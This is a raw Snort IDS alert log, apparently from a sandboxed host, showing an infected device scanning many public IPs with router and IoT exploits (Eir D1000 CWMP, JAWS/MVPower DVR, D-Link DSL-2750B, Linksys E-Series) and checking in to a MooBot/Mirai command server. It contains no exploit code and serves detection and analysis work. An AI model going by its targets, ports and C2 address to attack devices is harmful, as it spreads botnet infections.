Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:54294 -> 172.65.160.132:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:54294 -> 172.65.160.132:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:54294 -> 172.65.160.132:55555
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:55598 -> 172.67.202.117:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:60562 -> 172.66.171.44:8080
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39088 -> 115.2.119.193:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:42270 -> 115.7.229.68:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35652 -> 115.20.204.85:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39232 -> 110.66.27.9:7547
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:38140 -> 98.222.181.87:8080
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:49572 -> 59.22.40.124:7547
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:45392 -> 172.67.41.140:8080
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:43988 -> 77.25.132.174:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:49712 -> 59.22.40.124:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33216 -> 78.29.95.90:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53292 -> 203.173.133.194:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:46364 -> 196.210.100.229:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33224 -> 78.29.95.90:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53298 -> 203.173.133.194:7547
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42474 -> 217.25.9.155:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44128 -> 159.65.59.130:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57060 -> 216.92.42.218:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:42474 -> 217.25.9.155:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44128 -> 159.65.59.130:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43280 -> 52.44.5.126:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57060 -> 216.92.42.218:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43280 -> 52.44.5.126:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38416 -> 52.73.125.46:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57624 -> 207.188.224.215:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57624 -> 207.188.224.215:80
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:46370 -> 196.210.100.229:7547
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:34652 -> 98.243.14.5:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:44236 -> 98.213.143.42:8080
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38416 -> 52.73.125.46:80
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35820 -> 81.157.31.24:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35850 -> 81.157.31.24:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35852 -> 81.157.31.24:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35854 -> 81.157.31.24:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33086 -> 14.90.173.204:7547
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45824 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33134 -> 14.90.173.204:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:59880 -> 70.20.37.97:7547
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45920 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:59884 -> 70.20.37.97:7547
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:45964 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:59722 -> 181.88.240.54:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:41188 -> 177.138.109.192:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:40030 -> 119.202.169.45:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:46562 -> 218.148.98.14:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39344 -> 182.52.149.27:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:59730 -> 181.88.240.54:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:41204 -> 177.138.109.192:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:40046 -> 119.202.169.45:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:46574 -> 218.148.98.14:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53486 -> 222.111.188.185:7547
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:48102 -> 98.152.5.170:8080
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39364 -> 182.52.149.27:7547
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:36994 -> 172.65.244.87:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:43990 -> 172.67.234.104:8080
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53502 -> 222.111.188.185:7547
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52980 -> 23.59.182.108:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52980 -> 23.59.182.108:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:46002 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55144 -> 95.101.176.237:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40210 -> 212.53.214.96:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40210 -> 212.53.214.96:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55144 -> 95.101.176.237:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:37026 -> 172.65.244.87:8080
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:46054 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60010 -> 23.7.23.153:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60010 -> 23.7.23.153:80
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33882 -> 184.97.112.118:7547
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:46090 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35140 -> 34.43.23.196:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:37400 -> 45.53.188.176:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33916 -> 184.97.112.118:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35150 -> 34.43.23.196:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:37412 -> 45.53.188.176:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:46366 -> 179.153.183.144:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35164 -> 34.43.23.196:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33828 -> 5.22.89.147:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33834 -> 5.22.89.147:7547
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:36114 -> 172.64.229.173:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:45836 -> 172.93.105.79:8080
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:45154 -> 72.107.204.77:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:36110 -> 67.7.23.118:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:56344 -> 66.74.206.108:7547
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53174 -> 23.3.189.112:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58592 -> 62.84.121.160:80
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:45220 -> 72.107.204.77:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:36182 -> 67.7.23.118:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:56416 -> 66.74.206.108:7547
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46838 -> 91.197.142.75:80
Source: Traffic	Snort IDS: 2835221 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) 192.168.2.23:59494 -> 45.76.25.172:80
Source: Traffic	Snort IDS: 2831299 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) 192.168.2.23:59494 -> 45.76.25.172:80
Source: Traffic	Snort IDS: 2049119 ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) 192.168.2.23:59494 -> 45.76.25.172:80
Source: Traffic	Snort IDS: 2025756 ET EXPLOIT D-Link DSL-2750B - OS Command Injection 192.168.2.23:59494 -> 45.76.25.172:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58592 -> 62.84.121.160:80
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35846 -> 81.151.14.142:7547
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:46456 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46838 -> 91.197.142.75:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:57096 -> 172.66.167.240:8080
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35172 -> 34.43.23.196:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:36130 -> 81.151.14.142:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:46388 -> 179.153.183.144:7547
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:56108 -> 66.242.144.69:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:56108 -> 66.242.144.69:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:56108 -> 66.242.144.69:8080
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53174 -> 23.3.189.112:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:33340 -> 172.65.140.157:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:33340 -> 172.65.140.157:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:33340 -> 172.65.140.157:55555
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:51400 -> 78.185.217.124:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:46436 -> 179.153.183.144:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:54084 -> 144.86.5.175:7547
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:46486 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35780 -> 81.151.14.142:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39210 -> 197.203.51.120:7547
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:34694 -> 104.17.130.5:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:34694 -> 104.17.130.5:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:34694 -> 104.17.130.5:8080
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39596 -> 197.203.51.120:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:36886 -> 94.120.220.139:7547
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38884 -> 45.60.25.103:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46814 -> 91.197.142.75:80
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:36890 -> 94.120.220.139:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33270 -> 32.211.13.103:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:40360 -> 203.220.190.64:7547
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46814 -> 91.197.142.75:80
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:43284 -> 174.110.227.32:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:48738 -> 86.150.122.60:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33280 -> 32.211.13.103:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:43296 -> 174.110.227.32:7547
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:34744 -> 188.120.197.16:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:34744 -> 188.120.197.16:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:34744 -> 188.120.197.16:8080
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39782 -> 59.30.27.153:7547
Source: Traffic	Snort IDS: 2835221 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) 192.168.2.23:46652 -> 159.235.96.182:80
Source: Traffic	Snort IDS: 2831299 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) 192.168.2.23:46652 -> 159.235.96.182:80
Source: Traffic	Snort IDS: 2049119 ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) 192.168.2.23:46652 -> 159.235.96.182:80
Source: Traffic	Snort IDS: 2025756 ET EXPLOIT D-Link DSL-2750B - OS Command Injection 192.168.2.23:46652 -> 159.235.96.182:80
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:36166 -> 81.151.14.142:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:43556 -> 179.113.95.97:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:34336 -> 103.179.190.80:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39802 -> 59.30.27.153:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:43616 -> 179.113.95.97:7547
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:46512 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:59822 -> 172.67.75.255:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:42040 -> 172.67.112.67:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:38204 -> 172.67.204.93:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:34686 -> 172.67.232.227:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:60692 -> 172.65.102.206:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:60692 -> 172.65.102.206:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:60692 -> 172.65.102.206:55555
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:48750 -> 86.150.122.60:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:51706 -> 78.185.217.124:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:46746 -> 179.153.183.144:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:54392 -> 144.86.5.175:7547
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:38410 -> 172.83.72.16:8080
Source: Traffic	Snort IDS: 2835221 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) 192.168.2.23:33784 -> 35.174.120.235:80
Source: Traffic	Snort IDS: 2831299 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) 192.168.2.23:33784 -> 35.174.120.235:80
Source: Traffic	Snort IDS: 2049119 ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) 192.168.2.23:33784 -> 35.174.120.235:80
Source: Traffic	Snort IDS: 2025756 ET EXPLOIT D-Link DSL-2750B - OS Command Injection 192.168.2.23:33784 -> 35.174.120.235:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:46732 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:39436 -> 172.65.4.29:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:39436 -> 172.65.4.29:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:39436 -> 172.65.4.29:55555
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:52988 -> 172.65.243.233:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:52988 -> 172.65.243.233:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:52988 -> 172.65.243.233:55555
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:40694 -> 172.65.62.164:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:40694 -> 172.65.62.164:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:40694 -> 172.65.62.164:55555
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:36950 -> 104.21.217.182:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:36950 -> 104.21.217.182:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:36950 -> 104.21.217.182:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:37890 -> 172.65.62.9:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:37890 -> 172.65.62.9:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:37890 -> 172.65.62.9:55555
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:57294 -> 172.87.214.231:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:57294 -> 172.87.214.231:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:57294 -> 172.87.214.231:55555
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:48928 -> 86.150.122.60:7547
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:46796 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:49002 -> 86.150.122.60:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:46320 -> 14.67.209.80:7547
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:46808 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:48060 -> 201.213.18.150:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:45262 -> 61.76.54.192:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:46334 -> 14.67.209.80:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53790 -> 121.133.255.176:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:45300 -> 61.76.54.192:7547
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:56610 -> 139.162.84.202:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:56610 -> 139.162.84.202:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:56610 -> 139.162.84.202:8080
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:46850 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:60108 -> 174.112.142.104:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33788 -> 97.120.114.191:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:48080 -> 201.213.18.150:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:58060 -> 27.147.114.253:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44130 -> 121.136.181.89:7547
